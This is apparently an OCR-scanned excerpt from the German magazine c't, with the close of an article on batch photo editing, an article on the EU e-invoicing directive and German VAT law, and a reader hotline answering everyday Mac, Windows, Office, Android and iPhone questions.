gen: Soft Light kombin iert mit einem Trans­
parenzwert von etwa 40 wi rkte bei unserem 
schwarzen c't-Logo am besten, weil das Was­
serzeichen s ichtba r b le ibt, aber n icht vom 
Motiv ab lenkt. Damit das Logo weder zu 
g roß noch zu kle in rüberkommt, defin ieren 
Sie Höhe und Breite nicht in  Pixe ln, sondern 
in  Relation zur B i ldgröße - im Beispiel darf es 
sich auf 80 Prozent der B i ldbreite ausdehnen. 

N icht ganz ge lungen s ind d ie Autokorrek­
tur- und Auto-Weißabg leich-Fi lter sowie die 
verspielt bis kreative Rahmengesta ltung, d ie 
nicht jeden Geschmack treffen dü rften. E ine 
Alternative ist das kostenpfl i cht ige Batch­
Photo, das im Test mit einem besseren Raw­
Konverter, sanfteren Autokorrektur-Funktio­
nen, schonenden F i ltern sowie zurückhal­
tend gesta lteten Rahmen und Effekten über­
zeugte. Die zusammengekl ickten Skripte 
kann  man im Editor nachbea rbeiten. 

Mit  der BatchPhoto-Autokorrektur  etwa 
lassen s ich schne l l  quadratische B i ldaus­
schn itte erzeugen, d ie als B i ldübersicht Foto­
bücher, Ka lender und B logs verzieren kön­
nen: Die Funkt ionen Autolevels  und Auto­
Contrast br ingen die Farben zum Leuchten, 
AutoCrop kappt die Ränder, e in e i nfacher 
Vektor-Rahmen rundet d ie Ecken ab. 

Photoshop und Lig htroom 

Al les ganz nett, aber  meinen L ieb l ingsrah­
men habe ich mi r  schon i n  Photoshop selbst 
gebastelt: Die Ebeneneffekte von Photoshop 
d rängen s ich geradezu auf, um etwa Rah­
men i n  unterschied l ichen Materia l -Looks zu 
gesta lten oder ind ividue l le Wasserzeichen zu 
entwerfen. Auch sie lassen sich in den Work-
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lmBatch blendet das schwarze c't-Logo mit transpa rentem H intergrund 
sanft ins Motiv über - dafür sorgen ein moderater Transparenzwert und der  
Überblendeffekt "Soft Light". 

flow integrieren, indem man die Ei nzelschrit­
te zunächst per Makro-Recorder a l s  Aktion 
aufzeichnet und ansch l ießend mit "Datei/ 
Automatis ierung/Drop let erste l len"  i n  e ine 
ausfüh rba re Datei verpackt. Z ieht man e inen 
Stapel B i lder oder e in Verzeichnis auf e in so l ­
ches Droplet, werden sämtl iche B i lder nach­
einander i n  Photoshop geöffnet, bea rbeitet 
und in einem vorgegebenen Verzeichnis ge­
speichert. 

S ie können die Droplets auch d i rekt an­
steuern, indem Sie d iese an  eine Datenbank­
Exportaktion d ranhängen .  Der Ausgabe-

dia log von Lightroom beispielsweise enthält 
e ine Funktion, d ie sämtl iche Fotos nach der 
Konvert ierung an  eine Anwendung oder e in 
Skr ipt weiterreicht H ie r  können Sie I h r  
Photoshop-Droplet eintragen. 

Lightroom-Nutzer fi nden zudem bei dem 
Entwickler Jeffrey F ried l  d iverse Workflow­
Verkü rzer, unter anderem ein P l ug- in, das 
vom Import über  d ie  Bea rbeitung bis h in 
zum Export a l les automatisch abwickelt. 

(atr@ct.de) 

C11: Alle Tools :  ct.de/y48f 

Die Autokorrektur von BatchPhoto schneidet Bi lder 
stapelweise zum Quadrat und zerfasert die Ränder per 
Grunge-Effekt. 
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Recht I E lektronische Rechnungsste l lung 

Marti n Weigel  

Abspeichern 
statt abheften 
E U-Richtl i n ie z u r  e lektro n i schen Rech n u ng 

Obwohl  d ig itale Kommun ikation a l le  Lebensbereiche prägt, gehen 
Rechnungen seh r  oft noch a ls  klassische Papierbelege zwischen 
Unternehmen und Behörden auf die Reise. E ine in nerha lb der nächsten 
Jahre umzusetzende EU-Richt l in ie soll der e lektron ischen Rech nung 
zu m Sieg verhelfen - ob s ie  dazu taugt, ist a l lerd ings umstritten .  

D ig i ta l e  Datenkommun i kat ion so l l  s ich 
auch im  Rechtsverkeh r  d u rchsetzen .  

Dem Ruf  nach e lektronischer E rneuerung 
hat s ich weder  der  deutsche noch der  
eu ropäische Gesetzgeber versch lossen.  
Vie le  der  deutschen Gesetzesnormen,  d ie 
Geschäftsvorgänge rege ln, setzen EU-Richt­
l i n ien um .  Auf der Grund lage der Richt l in ie  
1 999/93/EG ü ber  gemeinschaft l i che Ra h­
menbed i ngungen fü r e lektronische Signa­
tu ren und der  Richt l i n i e  2000/3 1 /EG über 
den e lektronischen Rechtsverkeh r  s ieht 
§ 1 26 Abs. 3 des Bürger l ichen Gesetzbuchs 
(BGB) vor ,  dass d ie  schrift l iche Form du rch 
d ie  e lektron ische e rsetzt werden kann,  
"wenn s ich n icht au s  dem Gesetz e in  
anderes ergi bt". 

§ 1 26a BGB benennt die Voraussetzungen 
fü r die Verwendung der elektronischen Form: 
Der Ausste l le r  eines e lektronischen Doku­
ments muss seinen Namen h inzufügen und 
das Ganze mit e iner  qua l ifizierten elektroni­
schen Signatur nach dem Signatu rgesetz ver­
sehen. ln der Praxis ste l l t  das jedoch eine 
Hü rde dar, d ie verh indert, dass elektronische 
Rechnungen ausgeste l l t  werden. 

Im Dienste der U msatzsteuer 

Besondere Bedeutung hat d ie Rechnung seit 
jeher im Umsatzsteuerrecht Eine "ordnungs­
gemäße" Rechnung ist Voraussetzung dafü r, 
dass e in  Unternehmer beim F inanzamt sei­
nen Anspruch aufVorsteuer geltend machen 
kann  [ 1 ] .  

Wiederum in  Umsetzung e ine r  EU-Richt­
l i n ie  hat der deutsche Gesetzgeber in § 1 4  
des Umsatzsteuergesetzes (UStG) d ie  Mög­
l ichkeit eröffnet, Rechnungen auf e lektroni­
schem Weg auszuste l len .  Voraussetzung 

dafü r  ist d ie  Zustimmung des Rechnungs­
empfängers. 

Der Mehrwertsteuersystemrichtl inie(MwSt­
SystRL) entsprechend verlangte auch das 
deutsche Umsatzsteuerrecht zunächst fü r 
d ie  Wirksamkeit e l ektronisch übermitte lter 
Rechnungen entweder d ie  Verwendung 
e iner qua l ifiz ierten e lektronischen S ignatur 
oder e inen e lektronischen Datenaustausch 
(EDI) nach Art. 2 der Empfeh lung 94/820/EG 
der Kommission vom 1 9. Oktober 1 994 über 
d ie  recht l ichen Aspekte des e lektronischen 
Datenaustauschs [2] .  

Es geht auch ohne 

Fü r  Umsätze, d ie  nach  dem 30 .  Jun i  201 1 
ausgefüh rt worden s ind, hat der deutsche 
Gesetzgeber in  § 1 4  Abs. 1 Satz 8 UStG von 
der Mög l ichkeit Gebrauch gemacht, auch 
Rechnungen anzuerkennen, d ie ohne qua l i­
fizierte e lektronische Signatur und ohne EDI­
Verfah ren in  den Verkehr gebracht werden.  
Im  Einvernehmen mit dem Rechnungsemp­
fänger ist es seitdem mögl ich, Rechnungen 
behördengerecht auf verschiedenen Wegen 
zu übermitte ln :  per E-Ma i l ,  per DE-Mai l ,  per 
E-Post, als PDF- oder Textdatei, per Compu­
ter-Fax oder per Web-Down load. E ine e lek­
tronische Rechnung gi l t  a l s  ausgeste l l t, wenn 
sie dem Empfänger d i rekt oder auch ind i rekt 
- etwa du rch einen Dienstleister - übermit­
telt oder verfügbar gemacht wird. 

N icht jede Rechnung, die mit H i l fe von 
Computern entsteht, g i l t  als e lektronische 
Rechnung .  E ine m itte l s  Textvera rbeitungs­
programm auf dem PC geschriebene, ausge­
d ruckte und i n  Papierform übermittelte 
Rechnung fä l l t  etwa nicht darunter. Dagegen 
gi lt eine auf Papier a usgefertigte, e inge-

scannte und per E-Ma i l  versch ickte Rech­
nung als e lektronische Rechnung .  

Der H a ken 

Der Grund dafü r, dass d ie  e lektronische 
Rechnung sich dennoch nicht auf breiter 
Front du rchsetzen konnte, ist bana l :  Die Pra­
xis hat zumindest b is lang d ie Verwa ltung 
e lektronischer Rechnungen gescheut und 
spätere Forderungen des F inanzamts nach 
Betriebsprüfungen gefü rchtet. 

Das hat n icht zu letzt damit  zu tun,  dass 
e in Unternehmer bei e lektronisch übermit­
telten Rechnungen auch die Nachweise über 
Echtheit und Unversehrtheit der Daten auf­
bewahren muss. Das gi l t  auch und gerade für 
den Fa l l ,  dass d ie Gü lt igkeit e iner etwa igen 
qua l ifiz ierten Signatur i nzwischen abge lau­
fen ist .  Die Dauer der vorgesch r iebenen 
Archivierung beträgt wie bei gedruckten 
Rechnungen zehn Jahr� 

Die Rechnungen müssen außerdem im 
selben Format gespeichert werden, i n  dem 
s ie übermitte l t  wurden.  Das  ha t  so zu ge­
schehen, dass keine undokumentierten 
nachträg l ichen Änderungen mögl ich s ind .  
Die b loße Speicherung auf e iner Festplatte 
oder einem USB-Stick scheidet damit aus .  

N icht zu letzt steht immer das Sch reckge­
spenst des Datenver lusts und dadurch be­
d ingter Nachforderungen des F inanzamts im 
Raum.  Nicht immer gel ingt es im Zweifelsfa l l, 
den I nha l t  ver loren gegangener d ig ita l ge­
speicherter Rechnungen zu beweisen. Der 
H inweis, zur  Sicherheit stets e in  papiernes 
Doppel anzu legen, füh rt d ie  e lektronische 
Rechnungsfüh rung dann ad absurdum.  

Dennoch könnten d ie  se i t  201 1 g reifen­
den Er le ichterungen beim Ausste l l en e lek­
tron ischer Rechnungen manchen Unterneh­
mer dazu bewegen, sich vom Papier zu ver­
abschieden. Jedenfa l l s  b ietet die Berater­
branche gegenwärtig zah l re iche Ku rse an,  
d ie  den Weg zur  e l ektronischen Rechnung 
erlä utern. 

Der zündende F u n ke? 

Am 1 1 .  März 201 4 hat das Europäische Par la­
ment d ie Richt l in ie  201 4/55/EU über  d ie  
e lektronische Rechnungsstel l ung be i  öffent­
l ichen Aufträgen in erster Lesung angenom­
men.  Der eu ropä ische Gesetzgeber wol lte 
damit einem Missstand begegnen:  Es gebe 
i n  der Praxis keine vorherrschende Norm fü r 
d ie  e lektronische Rechnungs legung .  Welt­
weite, nat iona le, reg iona le und unterneh­
mensspezifische Normen fü r e lektronische 
Rechnungen existierten unabgestimmt ne-

Kernelemente der elektron ischen Rechnung nach der Richt l in ie 201 4/55/EU 

- Prozess- und Rechnungskennungen, Auftragsreferenz - Lieferungsdeta i l s, Anweisungen zur Ausführung der Zah lung 
- Rechnungszeitraum - I nformationen über  Zu - oder Absch läge 
- I nformationen über Käufer, Verkäufer, Zah lungsempfänger - I nformationen zu den einze lnen Rechnungszei lenposten 
- I nformationen über den Steuervertreter des Verkäufers - Gesamtbetrag und Mehrwertsteuer-Aufschlüssel ung 
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beneinander. Dieser Zustand führe zu über­
mäßiger Komp lexität, Rechtsunsicherheit 
und zusätzl ichen Betriebskosten fü r Wi rt­
schaftste i lnehmer, d ie  e l ektronische Rech­
nungen g renzüberg reifend in  verschiedenen 
Mitgl iedstaaten verwenden wol lten. 

Der Richt l in ie zufo lge beauftragt d ie EU­
Kommission die zuständige Normungsorgani­
sation (CEN, Cenelec und ETSI [3]) damit, eine 
europäische Norm für die elektronische Rech­
nungsste l l ung zu erarbeiten. E ine solche 
Norm sol l Spezifikationen berücksichtigen, die 
bereits im europäischen Rahmen entwickelt 
wurden [4] . Sie sol l  zudem technologieneutral 
sein, zu einschlägigen i nternationa len Nor­
men kompatibel und der Mehrwertsteuersys­
temricht l in ie (MwStSystRL, 2006/1 1 2/EG) ge­
recht werden.  Sie soll weiterhin den Schutz 
personenbezogener Daten [5] sowie d ie 
Grundsätze des techn ischen Datenschutzes 
("Data Protection by Design") berücksichti­
gen. Mit anderen Worten :  Zu fi nden ist die 
sprichwörtl iche eierlegende Wol lmi lchsau. 

Fü r  kle ine und mittlere Unternehmen sol l  
es verständ l iche und einfach anzuwendende 
Systeme der e lektronischen Rechnungsstel­
l ung geben. Die Richtl in ie soll s ich nicht a l ­
le in  bei der Vergabe öffent l icher Aufträge 
h i lfreich auswi rken, sondern auch dem Ge­
schäftsverkehr  zwischen Unternehmen d ie­
nen.  Sämtl iche e lektronischen Rechnungen 

so l len eine begrenzte Anzah l  gemeinsamer 
Standardelemente enthalten. 

Verpfl ichtung fü r 
d ie  öffentl iche Hand 

Die  Richt l in ie verpfl ichtet bestimmte Empfän­
ger dazu, e lektronische Rechnungen entge­
genzunehmen und zu verarbeiten: öffentliche 
Auftraggeber und zentra le Beschaffungsstel­
len (a ls Adressaten ihrer Vertragspartner). Die 
Absender h ingegen sol len weiterhin frei ent­
scheiden können, ob sie Rechnungen nach 
der europäischen Norm, nach nationalen res­
pektive anderen technischen Normen oder im 
Papierformat ste l len. Wenn sich ein Absender 
dafü r  entscheidet, d ie europäische Norm fü r 
die elektronische Rechnungsste l lung zu nut­
zen, und dabei die Standards der EU-Richtl in ie 
e inhä lt, so ist der (öffent l iche) Rechnungs­
empfänger zur elektronischen Entgegennah­
me und Vera rbeitung gezwungen. 

Die EU-Mitg l iedstaaten müssen d ie Richt­
l i n ie  über die e lektronische Rechnungsste l­
lung grundsätz l ich bis zum 27.  November 
201 8 i n  nationa les Recht umsetzen, indem 
s ie d ie  notwendigen Rechts- und Verwa l­
tungsvorschriften er lassen. Fü r  den Fa l l, dass 
d ies nicht ge l i ngt und die EU ih ren Rechtset­
zungsprozess n icht rechtzeit ig beenden 
kann, g ibt es besondere Rege lungen .  Im 

Spiele entwickeln 
Spieleprogr.�mmlerer werden 

Wie ein gutes Spiel entsteht 

Entwicklungsprozesse vertraulich halten 
Datenschutulchtlln len umsetzen 
Einführung in die Kl 

Render Pipellnes mit OpenGL 
Vlrtuat und Augmented Reallty 
Game Englnes Im Überblick 

Recht I E lektronische Rechnungsste l lung 

Amtsblatt der Eu ropäischen Un ion wird 
d ie EU-Kommiss ion dann einen Endtermi n  
bestimmen, b i s  z u  dem d i e  Richtl in ie umge­
setzt sein muss. 

l n  puncto Protokol le, Formate und Rech­
nungsbestandtei le herrscht bereits innerha lb  
der e inze lnen Staaten e in buntes Durch­
e inander . Angesichts dessen s ind Zweifel 
angebracht, ob die Richt l in ie  d ie  Hoffnun­
gen ,  d ie der europäische Gesetzgeber in  sie 
setzt, tatsäch l ich erfü l l en  kann :  Dafü r, dass 
sich info lge der kommenden Verpfl ichtung 
öffentl icher Rechnungsempfänger eine brei­
te Standardis ierungswirkung bei der Durch­
setzung dig ita ler Rechnungsbelege entfa lten 
wird, mag derzeit jedenfa l l s  n iemand d ie 
Hand ins Feuer  legen. (psz@ct.de) 
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[ 1 ]  D i e  U msatzsteuer, d i e  e i n  U nternehmer e inem 
anderen U nternehmer i n  e iner Rec h n u n g  a us­
weist, ka n n  jener nach § 1 5  UStG wiederum a ls  
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Praxis I Hot l ine 

HOTL I N E  
I H RE FRAGEN.  
Konkrete Nachfragen zu Beiträgen 
in der c't bitte an xx@ct.de (wobei "xx" 

für 
das Kürze l am Ende des Artikeltextes steht). 
A l l gemeine Anfragen bitte an 
hotline@ct.de. 
A l le bisher in unserer Hotline veröffent­
lichten Tipps und Tricks finden Sie unter 
www.ct.de/hotl ine. 
Sie erreichen unsere Redakteure jeden 
Werktag zwischen 1 3  und 1 4  Uhr unter der 
Rufnummer 05 1 1 /53 52-333 . 
Die Redaktion behält sich vor, 
Zuschriften gekürzt zu veröffentlichen. 

Mac bootet wegen falscher 

Zugriffsrechte nicht mehr 

l:il lch habe dummerweise mit Zugr iffsrech­
H ten im I nfo-Fenster von Dateien im F in­
der herumgespielt und nun bootet mein Mac 
nicht mehr. Ich habe ihn  jetzt über d ie Reco­
very-Part it ion hochgefah ren und kann  ins  
Term ina l  gehen,  doch was muss ich dar in  
eingeben? Oder so l l  ich g leich mein System 
aus  dem Time-Machine-Backup wiederher­
ste l len? 

D Wenn Sie n icht wissen, was Sie im Termi­
na l  tun müssen, raten wir von dessen 

Verwendung ab.  Öffnen Sie stattdessen das 
Festplatten-Dienstprog ramm und wäh len 
Sie d ie  Startpa rtit ion aus .  Auf der  rechten 
Seite wi rd nun der Bereich "Erste H i lfe" ange­
zeigt. l n  ihm finden Sie den Button "Zugriffs­
rechte des Vo lumes repa rieren", kl icken Sie 
ihn. Warten Sie d ie Repa ratur ab, sta rten Sie 
danach den Mac neu. 

Fal ls das nicht h i lft, so l l ten Sie es noch mit 
einer Repa ratu r der Festplatte im Dienstpro­
g ramm versuchen.  Ver läuft s ie erfo lg reich, 
ohne dass der Mac anschl ießend bootet, ist 
i n  der Tat das Aufspie len des letzten Time­
Machine-Backups d ie einfachste Wah l .  

(rsr@ct.de) 

Vol ltextsuche in 

OneNote-Anhängen streikt 

l:i1 Wir verwenden die Desktop-Version von 
H OneNote mit e iner gemeinsamen Datei 
auf e iner LAN-Freigabe. ln den Notizen 
haben wi r auch Ward- und Excei-Dateien .  
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Leider ge l ingt d ie Vo l l textsuche nach einzel­
nen Wörtern n icht, obwoh l  d ie  Suchwörter 
defin itiv in den Word-/Exce i-Dateien vor­
kommen. Gibt es da einen Scha lter? 

D Vermut l ich haben Sie die Ward- und 
Excei-Dateien a l s  Anhang i n  die Notizen 

e ingefügt; i n  d iesem Fa l l  werden nu r  d ie  
lcons da rgeste l lt . So lche e ingebetteten Da­
teien werden von OneNote nicht indexiert. 
Eine Suche nach Stichwörtern, die im Text 
der Dateien enthalten sind, l iefert dann keine 
Ergebnisse. 

Fügen Sie die Dateien stattdessen als Bit­
map-"Ausdruck" ein, indem Sie s ie an die 
Notiz "senden". Datei- Inha lte werden auf 
d iese Weise per OCR indexiert und somit 
durchsuchba r. N ichts anderes passiert bei der 
OneNote-201 3-Funktion, d ie e ine Excei-Ta­
bel le oder ein Visio-Diagramm über das Menü 
einbindet. (Stefan Wischner/dwi@ct.de) 

Powerline-AP PLA423 1  jetzt 

Mu lticast-taugl ich 

D l n  c't 1 3/1 4 bemängelten wir bei der 
WLAN-Basis des Power l ine-zu-WLAN­

Umsetzers PLA423 1 von Zyxel, dass sie keine 
Mu lt icast-zu-Un icast-Umsetzung (MC2UC) 
beherrscht. Dadurch war I PTV per Mu l ticast, 
wie es d ie  Telekom a l s  Enterta i n  aus l iefert, 
beim Streaming übers WLAN in Standardauf­
lösung deut l ich gestört und in H igh Defin i ­
t ion unbrauchba r. Mit der Ende 201 4 erschie­
nenen F i rmware-Version l .OO(AAGV.2) hat 
Zyxel nun MC2UC nachgerüstet, wie seiner-

Beim Powerl ine-zu-WLAN-Umsetzer 
PLA423 1  von Zyxel stotterte mit der a lten 
Fi rmware das Mu lticast-I PTV-Streaming 
übers WLAN. 

zeit versprochen. Bei einem ku rzen Test l ief 
Enterta i n-TV in HD  nun  auch übers WLAN 
einwandfrei. (ea@ct.de) 

c't F i rmware-Update fü r PLA423 1 :  
ct.de/ynpr 

Heliu m-App inkompatibel 

zu Motorola-Geräten 

l:i1 Bereits vor einiger Zeit habe ich aufgrund 
H einer c't-Anleitung versucht, mit He l ium 
mein Android-Smartphone Motoro la Razr i 
(XT 890) zu sichern, b in aber gescheitert. Als 
ich es jetzt aufgrund des aktue l len Artikels in  
c't 2/1 5 auf Seite 78 wieder e inma l  probieren 
wol l te, endete der Versuch beim g leichen 
Fehler. Hel ium Desktop fü r Windows habe ich 
insta l l iert, auch die bei ClockworkMod Reco­
very vorhandenen ADB-Treiber für Motorola­
Geräte. Beim ansch l ießenden Versuch, die 
App über den Playstore zu insta l l ieren, heißt 
es aber immer, d iese sei nicht mit dem Gerät 
kompatibel .  G ibt es eine andere Lösung? 

D Hel ium ist l aut  Entwickler zu Motoro la­
Geräten i nkompatibel - was aber n icht 

heißt, dass das Backup genere l l  nicht funktio­
niert. Fa l l s  Sie es dennoch versuchen möch­
ten, insta l l ieren Sie He l i um über eine apk­
Datei. Fü r  d ie meisten Apps fi ndet man d ie 
jewei l igen apk-Dateien per Suchmaschine .  
Ziehen Sie d ie  Date i  per USB-Kabel aufs 
Smartphone oder laden Sie sie d i rekt per An­
d roid-Browser auf das Mobi lgerät Fal ls sich 
Android nach dem Download ohne Angaben 
von Gründen weigert, d ie App zu insta l l ieren, 
versuchen Sie sie mit H i lfe e ines Datei-Explo­
rers wie ES Exp lorer zu i nsta l l ieren. Außer­
dem muss in den Systemeinstei l u ngen d ie  
I nsta l lation von "unbekannten Quel len" akti­
viert sei n .  Sie fi nden die Option unter Ei nstel­
l ungen/Sicherheit. (hcz@ct.de) 

Häkchen im Windows-Explorer 

l:i1 Auf meinem Windows-7-PC erschei nen 
H im Windows-Explorer ( inklusive Desktop) 
Auswah l-Häkchen, wenn ich ein E lement per 
Mauskl ick auswäh le. Offenbar habe ich da 
versehent l ich etwas umkonfigu r iert, fi nde 
d ie E inste l l ung aber n icht mehr. Wo bin ich 
da d rauf geraten und wie bekomme ich die 
Häkchen wieder weg? 

D Entfernen Sie in der Systemsteuerung 
unter Ordneroptionen/Ansicht das Häk­

chen vor "Kontro l l kästchen zur Auswah l  von 
E lementen verwenden". (axv@ct.de) 
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Ordneroptionen 

· Al lgemein Ansicht J Suchen I 
Ordnera n s i c ht----------------, 

Sie können d ie  Ansicht (z. B. Deta i ls  o d e r  Symbole). d i e  

x Wenn im Explorer vor Datei­
namen Auswah lkästchen 
erscheinen, l iegt es an  einer 
E inste l lung unter "Ordner­
optionen". '-J �  • Sie für d iesen Ordner verwen d e n .  für a l l e  Ordner d ieses  

Typs übernehmen .  
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0 I m m e r  Sym b o l e  statt Min iaturans i chten anzeigen 
0 Kontro l lkastc h en zur Auswa h l von Ele menten verwe n d e n  
� Laufwerkbu chsta b e n  anze igen 
� Leere Laufwerke i m  Ordne r·f'-" "-"'""'"="""""""'�-----1---1..J.._ _____________ __, 
0 Ordnerfenster in e i n e m  e i g  
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Automatische Wortmarkierung 

in Microsoft Word u nerwü nscht 

t;l Microsoft Word hat d ie  Angewohnheit, 
H beim Ma rkieren von Text mit der Maus 
immer ganze Wörter auszuwäh len .  Oft nervt 
mich das, wei l ich nur  einen Tei l  eines Wortes 
bearbeiten möchte. Lässt sich die Automatik 
über l isten? 

D Dass automatisch ganze Wörter markiert 
werden, können Sie in Word entweder 

ganz abstel len, fa l l s  Sie es grundsätzl ich un­
praktisch finden, oder im Einzelfa l l  umgehen, 
wenn Sie nur ab  und zu ledig l ich Tei le  e ines 
Wortes markieren möchten. 

Um die Automati k bei Bedarf zu umge­
hen, d rücken Sie g leichzeitig d ie Umschalt­
und d ie Strg-Taste, bevor Sie mit dem Mar­
kieren per Maus beg innen. Jetzt so l l ten wi rk­
l ich nu r  d ie  Zeichen markiert werden, über 
d ie Sie mit dem Mauszeiger fah ren. Um die 
Automat ik dauerhaft abzuscha lten, wäh len 
Sie im Datei-Menü den Ei ntrag "Optionen", 
dann den Unterpunkt "Erweitert". H ier  ent­
fernen Sie das Häkchen bei "Automatisch 
ganze Wörter markieren". Bei ä l teren Ward­
Versionen lautet der Punkt "Wörter automa­
tisch markieren" und Sie fi nden ihn im Ex­
tras-Menü unter "Optionen/Bea rbeiten". 

(dwi@ct.de) 

USB-Laufwerk lässt sich u nter 

Windows nicht umbenennen 

t;l lch möchte im Windows-Explorer den 
H Namen meines USB-Laufwerks ändern .  
Doch ich kann umbenennen, wie ich wi l l ,  es 
heißt trotzdem weiter "Loka ler  Datenträger". 

D Dieses Problem kennen wir von Win­
dows-Rechnern, a uf denen der Viren­

scanner von Avira insta l l iert ist. Es tritt immer 
dann auf, wenn im Wu rzelverzeichnis des 
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USB-Laufwerks e ine Datei namens autorun .  
inf l iegt. Die war u rsprüngl ich unter anderem 
dafü r  gedacht, beim Anstecken eines Wech­
se lmed iums automatisch ein Programm 
davon zu sta rten .  Wei l  d ieser Mechanismus 
zum E insch leusen von Vi ren missbraucht 
wurde, funkt ioniert er unter modernem 
Windows zwar ohnehin nicht mehr, aber der 
Virenscanner von Avi ra b lockiert d ie Datei 
trotzdem. Und weil sich über die Autorun.inf 
auch der Name und das lcon des Laufwerks 
festlegen lässt, verh indert das Blockieren der 
Datei zugleich, dass der Explorer den Namen 
anzeigen kann.  l n  der Datenträgerverwa ltung 
hingegen sehen Sie den korrekten Namen. 

Die Abhi lfe ist e infach :  Löschen Sie die 
Autorun . i nf, dann hat der Vi renscanner  
n ichts zu meckern und  verh indert daher  
auch n icht  mehr d ie Anzeige des korrekten 
Namens. (axv@ct.de) 

Mehrere Partitionen auf 

einem USB-Stick 

t;l Gibt es mitt lerwei le (unter Windows 8.1  
H oder 1 0) e ine Mög l ichkeit, auf e inem 
USB-Stick versch iedene Pa rtitionen zu erstel­
len und zu nutzen? Ich hätte gerne des­
infec't, Ubuntu, Windows und weitere auf 
e inem Stick, um bei e inem Computerpro­
blem nicht ständ ig  meine Stick-Ko l l ekt ion 
präsentieren zu müssen. 

D Mehrere Pa rtitionen lassen sich nicht auf 
Sticks erste l l en, d ie  s ich a l s  Wechsel­

datenträger melden, denn auf denen wi l l  
Windows grundsätzl ich nu r  e i ne  Partit ion 
sehen. Es g ibt aber Sticks mit spezie l ler  F i rm­
wa re, die sich als Festplatte melden .  Auf 
denen können Sie mehrere Pa rtitionen ein­
r ichten. Erkennen können Sie so lche Sticks 
daran, dass s ie fü r "Windows-to-go" zertifi­
ziert sind. (axv@ct.de) 

Praxis I Hotl ine 

Virenscan von SSL­

verschlüsseltem Maii-Verkehr 

t;l Meine Provider haben den Mai i -Verkehr 
H auf SSL umgestel lt .  Mein Vi renschutzpro­
g ramm Avi ra kann  aber keine SSL-F i les prü­
fen, sodass mein Mai i -Verkehr  ungeschützt 
ist, bis d ie Mai ls im Mai i-Prog ramm angekom­
men s ind. Welche Software kann  ich fü r die 
Überprüfung des Mai i -Verkehrs einsetzen? 

D Die konkrete Gefah r, d ie davon ausgeht, 
dass d ie  Ma i l s  n icht bereits vor dem 

Empfang geprüft werden können, ist recht 
ger ing .  Im Pr inz ip kann  es Ihnen egal sein, 
wo der Vi ren-Scanner  zuschlägt :  ob beim 
Download oder erst beim Speichern oder 
sogar erst beim Ausführen. Hauptsache, der 
Schadcode wird erkannt und gestoppt. 

Auf der anderen Seite steht die F rage, ob 
es überhaupt wünschenswert ist, den SSL­
versch lüsselten Mai i -Transport auf Viren zu 
testen .  Denn dazu muss sich der Scanner als 
Man-in-the-Midd le in  die gesicherte Verbin­
dung e inkl i nken.  Das bedeutet aber auch, 
dass deren Sicherheit unter Umständen 
deut l i ch  reduziert wi rd .  Das  hatten wir erst 
kürzlich zu Virenschutzsoftware von Kasper­
sky gemeldet (s iehe c't-L ink unten) . Man 
kann  a l so du rchaus guten Gewissens e inen 
Virenschutz e insetzen, der  E-Ma i l s  n icht  
vorab testen kann .  (ju@ct.de) 

c'l: Kaspersky senkt Sicherheit von SSL: 
ct.de/y6ef 

i Phone-Backup-Passwort 

vergessen 

t;'l lch betreue d ie iPhones meiner Fami l ie  
H und wi l l  nun  e in iTunes-Backup von 
einem i nzwischen verkauften Vorgänger­
gerät auf e in neues aufspie len. Al le Backups 
der betreuten Geräte s ind passwortge­
schützt Ich wa r zu fau l ,  s ie mir zu merken, 
habe aber festgelegt, dass sie loka l  auf mei­
nem Mac gespeichert werden, i n  der Annah­
me, dass s ie bei Bedarf schon automatisch 
eingesetzt werden. Das ist leider nicht so und 
ich weiß nicht, wo sie l iegen. 

D Die Backup-Passwörter legt iTunes im 
Sch lüssel bund ab  und zwar i n  Ei nträgen, 

d ie  a l l e  " iPhone Backup" heißen. Man kann  
s i e  nu r  anhand der ind ividue l len Gerätenum­
mer UD ID  auseinanderhalten. 

Um d ie UD ID  des frag l ichen Geräts zu er­
mitte ln ,  sta rten Sie zunächst iTunes und öff­
nen E inste l l u ngen/Geräte. K l i cken S ie  auf  
den E i ntrag des Vorgängergeräts und  öff­
nen dessen Kontextmenü (rechte Maus­
taste). Wäh len Sie aus  dem Menü den Punkt 
" Im  F inder  a nzeigen" .  Daraufh i n  b lendet 
das Betriebssystem den Backup-Ordner e in 
und  ma rkiert den U nterordner, der  zum 
Vorgä ngergerät gehört. Der Name d ieses 
Archivordners entspricht der UD ID  des Ge­
räts. 
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Praxis I Hot l ine 

Öffnen Sie nun den Sch lüsselbund, geben 
im Suchfeld .,iPhone Backup" ein und gehen 
d ie iPhone-Backup-Einträge du rch, bis Sie 
den mit der richtigen UDID finden. Klicken Sie 
dann unten auf .,Passwort e inb lenden" und 
authentifizieren sich mi t  dem Passwort I h res 
aktue l len Computer-Kontos; ansch l ießend 
wird das Passwort angezeigt. (dz@ct.de) 

i Phone: Aktivierung 

bei SIM-Kartenwechsel 

l:il lch habe ein gebrauchtes iPhone 3GS er­
H standen, das angebl ich keinen S IM-Lock 
hat. Es l i ef zunächst eine ganze Wei l e  rei­
bungs los .  Nun  habe ich den Mobi lfunk­
betre iber gewechselt; aber wenn ich d ie 
neue S IM-Ka rte e in lege, bucht s ich das 
iPhone n icht i n  das zugehör ige Mobi lfunk­
netz ein und in der Statuszei le steht nu r  lapi­
dar .,kein  Netz". Hat das Gerät a l so doch 
einen S IM-Lock? 

D Wenn es sonst keine Fehlermeldung von 
sich g ibt, dann hat es keinen S IM-Lock. 

Aber bei e inem Netzbetreiberwechsel muss 
das Gerät erneut bei Apple aktiviert werden.  
E in  eigenes Menü dafü r  g ibt es n icht, aber 
das Löschen der  Netzwerke instei l u ngen 
h i l ft. 

Öffnen Sie E inste l l ungen/Al lgemein/Zu­
rücksetzen und t ippen Sie auf .,Netzwerk­
einste l l ungen". Nach einer eventue l len Auto­
r is ierung und der ob l igatorischen Sicher­
heitsabfrage werden a l l e  Netzwerke instei­
l ungen ge löscht (auch WLAN-Einträge) und 
das Gerät sta rtet neu. 

Buchen S ie  s ich a nsch l ießend i n  e in 
WLAN mit I n ternet-Zugang ein, damit  s ich 
das iPhone neu bei Apple registr iert. F a l l s  
kei n  WLAN i n  Reichweite i st, tut es a uch 
e ine USB-Verbi ndung  zu einem Computer  
mit  l a ufendem iTunes nebst I nternet-Zu­
gang .  Wenn  d ie  Aktivierung abgeschlossen 
i st, erha l ten S ie e inen H i nweis auf dem 
iPhone und nach e inem weiteren Neusta rt 
ka nn  es sch l ieß l i ch  den neuen Netzbetrei­
ber nutzen .  (dz@ct.de) 

Backup für Tu mblr mit Revert 

l:il lch betreibe e in B log bei Tumb l r  und H möchte von dessen Inha lten regelmäßig 
